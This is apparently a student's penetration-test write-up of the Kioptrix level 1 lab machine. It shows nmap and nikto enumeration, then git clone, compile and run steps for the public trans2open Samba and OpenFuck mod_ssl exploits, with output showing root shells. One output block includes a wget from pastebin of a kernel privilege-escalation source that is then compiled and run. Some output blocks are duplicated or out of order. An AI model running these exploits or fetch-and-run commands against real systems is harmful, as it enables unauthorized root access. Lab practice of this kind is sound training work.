1.0 - High Level Summary

1.1 - Host Summary

> hostname, IP, OS, ports open / services on them
hostname: Kioptrix
IP: 192.168.118.138
OS: Linux
Ports:
22/tcp   open ssh
80/tcp   open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm

1.2 - Attack Surface Summary

> high level overview of exploitable services / potential
Nmap:
After scan with nmap script-vuln, I detect the machine is vulnerable smb-vuln-cve2009-3103
```nmap
| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
```
Next step to find version of Samba service running on machine:
```smbclient
smbclient -L 192.168.118.138
```
Open wireshark or tcpdump to capture packet smb -> follow tcp stream to find out version Samba
```tcpdump
tcpdump -s0 -n -i eth0 src 192.168.118.138 and port 139 -A -c 10 | grep -i "samba"
```
→ Result: Unix.Samba 2.2.1a.MYGROUP
→
Go to exploit-db.com -> search "samba 2.2."

Download script to exploit -> gain access

Web:
After scan with nikto, I detect the machine is vulnerable apache-CAN-2002-0839
```nikto
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
```

Go to exploit-db.com -> search "apache 1.3."

Download script to exploit -> gain access

1.3 - Exploitation Summary

> high level overview of the services you exploited
SMB exploit:
Get code and compile file exploit:
```
git clone https://github.com/KernelPan1k/trans2open-CVE-2003-0201.git
gcc trans2open.c -o trans2open
./trans2open 0 192.168.118.138 192.168.118.136
```
→ Result: Gain access with user root

WEB exploit:
Get code and compile file exploit:
```
git clone https://github.com/heltonWernik/OpenLuck
gcc -o OpenFuck OpenFuck.c -lcrypto
./OpenFuck 0x6b 192.168.118.138 443 -c 40

```
→ Result: Gain access with user root

2.0 - Methodology and Walkthrough

2.1 - Enumeration

> scans and inital discover
##First Scan:
Command:
nmap -Pn -sS -T4 --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -oN /opt/OSCP/labs/VULNHUB/138-Kiotrix1/192.168.118.138.txt 192.168.118.138
Result:
```nmap
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
443/tcp  open  https
1024/tcp open  kdm
MAC Address: 00:0C:29:40:69:BF (VMware)
```
##Second Scan:
Command:
nmap -Pn -nvv -sSV -A --version-intensity 9 -p 22,80,111,139,443,1024 -oN /opt/OSCP/labs/VULNHUB/138-Kiotrix1/nmap-detail.txt 192.168.118.138
Result:
PORT   STATE SERVICE   REASON   VERSION
22/tcp   open ssh   syn-ack ttl 64 OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 35 109482092953601530927446985143812377560925655194254170270380314520841776849335628258408994190413716151
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAKtycvxuV/e7s2cN74HyTZXHXiBrwyiZe/PKT/ inuT5NDSQTPsGiyJZU4gefPAsYKSw5wLe28TDlZWHAdXpNdwyn4QrFQBjwFR+8WbFiAZBoWlSfQPR2RQW8i32Y2P2V79p4mu742Ht DGsGx0k6CqGwAAAIBVpBtIHbhvoQdN0WPe8d6OzTTFvdNRa8pWKzV1Hpw+e3qsC4LYHAy1NoeaqK8uJP9203MEkxrd2OoBJKn/

8EXlKAco7vC1dr/QWae+NEkI1a38x0Ml545vHAGFaVUWkffHekjhR476Uq4N4qeLfFp5B+v+9flLxYVYsY/
ymJKpNgAAAIEApyjrqjgX0AE4fSBFntGFWM3j5M3lc5jw/
0qufXlHJu8sZG0FRf9wTI6HlJHHsIKHA7FZ33vGLq3TRmvZucJZ0l55fV2ASS9uvQRE+c8P6w72YCzgJN7v4hYXxnY4RiWvINjW/
F6ApQEUJc742i6Fn54FEYAIy5goatGFMwpVq3Q=
| 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/
rTWY72jElft4WXfXGWybh141E8XnWxMCu+R1qdocxhh+4Clz8wO9beuZzG1rjlAD+XHiR3j2P+sw6UODeyBkuP24a+7V8P5nu9ksKl
80/tcp   open http   syn-ack ttl 64 Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods:
| Supported Methods: GET HEAD OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind   syn-ack ttl 64 2 (RPC #100000)
| rpcinfo:
| program version   port/proto service
| 100000 2   111/tcp   rpcbind
| 100000 2   111/udp   rpcbind
| 100024 1   1024/tcp   status
|_ 100024 1   1024/udp   status
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https   syn-ack ttl 64 Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/
stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/
emailAddress=root@localhost.localdomain/localityName=SomeCity
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/
countryName=--/organizationalUnitName=SomeOrganizationalUnit/emailAddress=root@localhost.localdomain/
localityName=SomeCity
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-09-26T09:32:06
| Not valid after: 2010-09-26T09:32:06
| MD5:   78ce 5293 4723 e7fe c28d 74ab 42d7 02f1
| SHA-1: 9c42 91c3 bed2 a95b 983d 10ac f766 ecb9 8766 1d33
| -----BEGIN CERTIFICATE-----
| MIIEDDCCA3WgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBuzELMAkGA1UEBhMCLS0x
| EjAQBgNVBAgTCVNvbWVTdGF0ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoT
| EFNvbWVPcmdhbml6YXRpb24xHzAdBgNVBAsTFlNvbWVPcmdhbml6YXRpb25hbFVu
| aXQxHjAcBgNVBAMTFWxvY2FsaG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGSIb3DQEJ
| ARYacm9vdEBsb2NhbGhvc3QubG9jYWxkb21haW4wHhcNMDkwOTI2MDkzMjA2WhcN
| MTAwOTI2MDkzMjA2WjCBuzELMAkGA1UEBhMCLS0xEjAQBgNVBAgTCVNvbWVTdGF0
| ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoTEFNvbWVPcmdhbml6YXRpb24x
| HzAdBgNVBAsTFlNvbWVPcmdhbml6YXRpb25hbFVuaXQxHjAcBgNVBAMTFWxvY2Fs
| aG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGSIb3DQEJARYacm9vdEBsb2NhbGhvc3Qu
| bG9jYWxkb21haW4wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAM4BXiK5bWlS
| ob4B6a9ALmKDbSxqoMcM3pvGHscFsJs+fHHn+CjU1DX44LPDNOwwOl6Uqb+GtZJv
| 6juVetDwcTbbocC2BM+6x6gyV/H6aYuCssCwrOuVKWp7l9xVpadjITUmhh+uB81q
| yqopt//Z4THww7SezLJQXi1+Grmp3iFDAgMBAAGjggEcMIIBGDAdBgNVHQ4EFgQU
| 7OdRS0NrbNB8gE9qUjcw8LF8xKAwgegGA1UdIwSB4DCB3YAU7OdRS0NrbNB8gE9q
| Ujcw8LF8xKChgcGkgb4wgbsxCzAJBgNVBAYTAi0tMRIwEAYDVQQIEwlTb21lU3Rh
| dGUxETAPBgNVBAcTCFNvbWVDaXR5MRkwFwYDVQQKExBTb21lT3JnYW5pemF0aW9u
| MR8wHQYDVQQLExZTb21lT3JnYW5pemF0aW9uYWxVbml0MR4wHAYDVQQDExVsb2Nh
| bGhvc3QubG9jYWxkb21haW4xKTAnBgkqhkiG9w0BCQEWGnJvb3RAbG9jYWxob3N0
| LmxvY2FsZG9tYWluggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEA
| Vgrmpprfkmd8vy0E0UmZvWdIcDrIYRvUWcwSFwc6bGqJeJr0CYSB+jDQzA6Cu7nt
| xjrlXxEjHFBBbF4iEMJDnuQTFGvICQIcrqJoH3lqAO73u4TeBDjhv5n+h+S37CHd
| 1lvgRgoOay9dWaLKOyUThgKF2HcPWMZIj2froo5eihM=
|_-----END CERTIFICATE-----
|_ssl-date: 2021-11-12T11:55:57+00:00; +1h01m47s from scanner time.
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_64_WITH_MD5

```
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_http-title: 400 Bad Request
| http-methods:
|_  Supported Methods: GET HEAD POST
1024/tcp open  status      syn-ack ttl 64 1 (RPC #100024)
MAC Address: 00:0C:29:40:69:BF (VMware)

##Vuln Scan:
Command:
nmap -T4 -n -sC -sV -p- -oN /opt/OSCP/labs/VULNHUB/138-Kiotrix1/nmap-versions.txt --script='*vuln*' 192.168.118.138
Result:
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2          111/tcp   rpcbind
|   100000  2          111/udp   rpcbind
|   100024  1         1024/tcp   status
|_  100024  1         1024/udp   status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:40:69:BF (VMware)

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to
(one or more fields are missing); aborting [14]
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was
supposed to (one or more fields are missing); aborting [14]
| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause
a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|
|     Disclosure date: 2009-09-08
|     References:
|       http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
```

2.2 - Exploitation

> gaining a shell
Samba exploit:
```
./trans2open 0 192.168.118.138 192.168.118.136
```
→ Result:

Apache2 exploit:
```
./OpenFuck 0x6b 192.168.118.138 443 -c 40
```
→ Result:
```
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -O pt
--07:59:36--  https://pastebin.com/raw/C7v25Xr9
          => `ptrace-kmod.c'
Connecting to pastebin.com:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

    0K ...                                    @   3.84 MB/s

07:59:36 (3.84 MB/s) - `ptrace-kmod.c' saved [4026]

ptrace-kmod.c:183:1: warning: no newline at end of file
/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status


id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```
[+] Listen on port: 45295
[+] Connecting back to: [192.168.118.136:45295]
[+] Target: Linux
[+] Connected to [192.168.118.138:139]
[+] Please wait in seconds...!
[+] Yeah, I have a root ....!

Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
```

# *2.3 - Elevation*

> methods used to gain SYSTEM / root
Cause exploit to get root with 1 step, so this artical is not information to privesc.

# *3.0 - Loot and Code*
```

3.1 - Proof

> screenshot of whoami, ip, and flag
Get root prompt on machine Kioptrix1 by exploit via Samba vulnerability

```
root@kali:/opt/OSCP/labs/VULNHUB/138-Kiotrix1/trans2open-CVE-2003-0201# ./trans2open 0 192.168.118.138 192.168.118.136
[+] Listen on port: 45295
[+] Connecting back to: [192.168.118.136:45295]
[+] Target: Linux
[+] Connected to [192.168.118.138:139]
[+] Please wait in seconds ... !
[+] Yeah, I have a root ....!
------------------------
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
```

Get root prompt on machine Kioptrix1 by exploit via Apache vulnerability

```
root@kali:/opt/OSCP/labs/VULNHUB/138-Kiotrix1/OpenLuck# ./OpenFuck 0x6b 192.168.118.138 443 -c 40

*****************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                   *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****************************************************************

Connection ... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell ...
bash: no job control in this shell
bash-2.05$
race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -O pt
--07:59:36--  https://pastebin.com/raw/C7v25Xr9
           => `ptrace-kmod.c'
Connecting to pastebin.com:443 ... connected!
HTTP request sent, awaiting response ... 200 OK
Length: unspecified [text/plain]

    0K ...                                                  @   3.84 MB/s

07:59:36 (3.84 MB/s) - `ptrace-kmod.c' saved [4026]

ptrace-kmod.c:183:1: warning: no newline at end of file
/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status


id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

3.2 - Code Used

> full exploit code with source and highlights of changes
Code samba exploit:
```C
/opt/OSCP/labs/VULNHUB/138-Kiotrix1/trans2open-CVE-2003-0201/trans2open.c
```

Code apache exploit:
```C
```

/opt/OSCP/labs/VULNHUB/138-Kiotrix1/OpenLuck/OpenFuck.c
```
```